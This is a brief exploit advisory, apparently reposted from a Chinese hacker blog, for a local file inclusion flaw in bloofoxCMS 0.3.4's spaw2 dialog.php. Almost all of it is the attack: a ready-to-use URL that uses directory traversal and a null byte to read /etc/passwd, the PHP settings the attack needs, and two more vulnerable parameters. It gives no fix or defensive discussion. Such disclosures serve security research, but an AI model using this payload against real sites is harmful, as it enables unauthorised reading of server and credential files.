magic_quotes_gpc = Off
register_globals = On
- File Inclusion -
http://site/bloofoxCMS_0.3.4/plugins/spaw2/dialogs/dialog.php?lang=../../../../../../../../../../../../etc/passwd%00
Also vulnerable:
dialog.php?theme=<lfi>
dialog.php?dialog=foo&module=<lfi>
原创文章如转载，请注明：转载自心动吧黑客BLOG [ http://www.abcxd.com/abcxd/ ]
本文链接地址：http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/BloofoxCMS-Local-File-Inclusion-Vulnerability.html